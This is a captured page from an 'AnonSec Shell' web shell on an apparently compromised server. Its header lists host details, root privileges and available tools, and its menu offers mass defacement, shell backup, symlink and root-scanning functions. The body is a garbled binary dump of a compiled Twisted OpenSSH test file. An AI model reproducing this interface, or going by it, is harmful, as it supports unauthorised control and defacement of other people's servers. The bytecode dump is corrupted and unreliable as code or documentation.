AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/conch/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/conch/test/__pycache__/test_openssh_compat.cpython-310.pyc
o

�b�@s�dZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZd
ZdZed�rCed
�rCddlmZndZdZeed�sPdZdZeee�Gdd�de��ZdS)z,
Tests for L{twisted.conch.openssh_compat}.
�N)�skipIf)�getDHGeneratorAndPrime)�keydata)�FilePath)�
requireModule)�MockOS)�TestCaseF��cryptography�pyasn1)�OpenSSHFactoryTz)Cannot run without cryptography or PyASN1�geteuidzgeteuid/seteuid not availablec@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�OpenSSHFactoryTestsz&
    Tests for L{OpenSSHFactory}.
    cCst�|_t|���|_|j��|jj|j_t|���|_|j��|jj|j_	|j�
d��d�|j�
d��d�|j�
d��tj
�|j�
d��tj�|j�
d��d�|j�
d��tj�|j�
d	��d
�t�|_|�td|jj�|�td|jj�dS)
N�ssh_host_foosfoo�bar_key�ssh_host_one_key�ssh_host_two_key�ssh_host_three_keysnot a key contentzssh_host_one_key.pub�modulis�
#    $OpenBSD: moduli,v 1.xx 2016/07/26 12:34:56 jhacker Exp $i
# Time Type Tests Tries Size Generator Modulus
20030501000000 2 6 100 2047 2 FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
�seteuid�setegid)r�factoryr�mktemp�keysDir�makedirs�path�dataRoot�	moduliDir�
moduliRoot�child�
setContentr�privateRSA_openssh�privateDSA_openssh�publicRSA_opensshr�mockos�patch�osrr)�self�r(�H/usr/lib/python3/dist-packages/twisted/conch/test/test_openssh_compat.py�setUp%s&

�zOpenSSHFactoryTests.setUpcCs8|j��}|�t|�d�|��}|�t|�dg�dS)zw
        L{OpenSSHFactory.getPublicKeys} should return the available public keys
        in the data directory
        ��ssh-rsaN)r�
getPublicKeys�assertEqual�len�keys�list�r'r0�keyTypesr(r(r)�test_getPublicKeysJs
z&OpenSSHFactoryTests.test_getPublicKeyscCsZ|j��}|�t|�d�|��}|�t|�ddh�|�|jjg�|�|jjg�dS)z�
        Will return the available private keys in the data directory, ignoring
        key files which failed to be loaded.
        �r,�ssh-dssN)	r�getPrivateKeysr.r/r0�setr$�seteuidCalls�setegidCallsr2r(r(r)�test_getPrivateKeysTs
z'OpenSSHFactoryTests.test_getPrivateKeyscs�|j�d����d�|��jd�tj���fdd�}|�td|�|j��}|�	t
|�d�|��}|�	t|�dd	h�|�	|j
jdt��g�|�	|j
jdt��g�d
S)z�
        L{OpenSSHFactory.getPrivateKeys} should switch to root if the keys
        aren't readable by the current user.
        rr�cs��d��|�S)Nr<)�chmod)�euid��keyFile�savedSeteuidr(r)rls
z>OpenSSHFactoryTests.test_getPrivateKeysAsRoot.<locals>.seteuidrr5r,r6N)rrr=�
addCleanupr&rr%rr7r.r/r0r8r$r9r
r:�getegid)r'rr0r3r(r?r)�test_getPrivateKeysAsRoot`s

z-OpenSSHFactoryTests.test_getPrivateKeysAsRootcCs$|j��}|�|dtd�gi�dS)zq
        L{OpenSSHFactory.getPrimes} should return the available primes
        in the moduli directory.
        isdiffie-hellman-group14-sha1N)r�	getPrimesr.r)r'�primesr(r(r)�test_getPrimesxs

��z"OpenSSHFactoryTests.test_getPrimesN)	�__name__�
__module__�__qualname__�__doc__r*r4r;rDrGr(r(r(r)rs%
r)rKr&�unittestr�twisted.conch.ssh._kexr�twisted.conch.testr�twisted.python.filepathr�twisted.python.reflectr�twisted.test.test_processr�twisted.trial.unittestr�doSkip�
skipReason�$twisted.conch.openssh_compat.factoryr�hasattrrr(r(r(r)�<module>s(


Anon7 - 2022
AnonSec Team